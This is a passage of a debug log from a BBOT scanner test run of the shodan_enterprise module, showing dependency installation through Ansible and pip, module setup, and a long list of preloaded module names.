scan._prep() -2026-02-27 19:06:50,859 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:06:50,863 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:06:50,864 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:06:51,500 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:06:51,500 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:06:54,125 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:06:54,126 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:06:54,126 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:06:56,399 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:06:56,400 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:06:56,403 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:06:56,404 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:06:56,404 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:06:56,404 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:06:56,405 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:06:56,405 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:06:56,409 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/o1oonv1rky9yh9bk2xhy -2026-02-27 19:06:57,511 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:06:57,512 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:06:57,512 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:06:57,513 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:06:57,513 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:06:57,513 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:06:57,514 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:06:57,647 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:06:57,647 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:06:57,648 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:06:57,651 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:06:57,652 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:06:57,652 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:06:57,652 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:06:57,653 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:06:57,654 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:06:57,654 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:06:57,657 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:06:57,658 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:06:57,658 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:06:57,658 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:06:57,658 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:06:57,658 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:06:57,659 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:06:57,659 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:06:57,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:06:57,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:06:57,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:06:57,660 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:06:57,660 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:06:57,660 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:06:57,660 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:06:57,662 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:06:57,662 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:06:58,653 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:06:58,654 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:07:13,832 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:07:13,841 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:07:13,843 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:07:13,844 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:07:13,844 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:07:13,846 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:07:13,846 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:07:13,847 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:07:13,848 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:07:13,849 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:07:13,850 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:07:13,851 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:07:13,851 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:07:13,852 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:07:13,853 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:07:13,854 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:07:13,855 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:07:13,856 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:07:13,857 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:07:13,857 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:07:13,858 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:07:13,859 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:07:13,860 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:07:13,861 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:07:13,861 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:07:13,862 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:07:13,863 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:07:13,863 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:07:13,864 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:07:13,864 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:07:13,865 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:07:13,866 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:07:13,866 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:07:13,867 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:07:13,868 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:07:13,868 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:07:13,869 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:07:13,869 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:07:13,870 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:07:13,870 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:07:13,875 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:07:13,875 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:07:13,876 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:07:13,877 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:07:13,878 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:07:13,878 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:07:13,879 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:07:13,880 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:07:13,880 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:07:13,881 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:07:13,882 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:07:13,882 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:07:13,883 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:07:13,884 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:07:13,885 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:07:13,885 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:07:13,886 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:07:13,886 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:07:13,887 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:07:13,887 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:07:13,888 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:07:13,888 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:07:13,890 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:07:13,891 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:07:13,891 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:07:13,892 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:07:13,897 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:07:13,898 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:07:13,899 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:07:13,900 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:07:13,901 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:07:13,902 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:07:13,903 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:07:13,903 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:07:13,904 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:07:13,904 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:07:13,906 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:07:13,907 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:07:13,908 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:07:13,908 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:07:13,909 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:07:13,910 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:07:13,910 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:07:13,911 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:07:13,911 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:07:13,912 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:07:13,913 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:07:13,913 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:07:13,914 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:07:13,915 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:07:13,916 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:07:13,917 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:07:13,917 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:07:13,919 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:07:13,920 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:07:13,921 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:07:13,921 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:07:13,922 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:07:13,923 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:07:13,923 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:07:13,924 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:07:13,924 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:07:13,925 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:07:13,925 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:07:13,926 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:07:13,926 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:07:13,927 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:07:13,928 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:07:13,929 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:07:13,930 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:07:13,931 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:07:13,932 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:07:13,933 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:07:13,934 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:07:13,935 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:07:13,935 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:07:13,936 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:07:13,936 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:07:13,937 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:07:13,938 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:07:13,939 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:07:13,940 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:07:13,940 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:07:13,941 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:07:13,941 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:07:13,942 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:07:13,943 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:07:13,943 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:07:13,944 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:07:13,945 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:07:13,945 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:07:13,946 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:07:13,947 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:07:13,947 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:07:13,948 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:07:13,948 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:07:13,949 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:07:13,949 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:07:13,950 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:07:13,951 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:07:13,951 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:07:13,952 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:07:13,952 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:07:13,953 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:07:13,953 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:07:13,954 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:07:13,954 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:07:13,955 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:07:13,956 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:07:13,956 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:07:13,957 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:07:13,957 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:07:13,958 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:07:13,958 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:07:13,959 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:07:13,960 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:07:13,960 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:07:13,961 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:07:13,962 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:07:13,965 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:07:13,965 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:07:13,967 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:07:13,967 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:07:13,969 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:07:13,969 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:07:13,970 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:07:13,971 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:07:13,972 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:07:13,972 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:07:13,973 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:07:15,071 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:07:15,072 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:07:15,072 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:07:15,219 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:07:15,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:07:15,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:07:15,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:07:15,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:07:16,034 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:07:16,036 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:07:16,145 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:07:16,146 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:07:16,198 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:07:16,201 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:07:16,202 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: 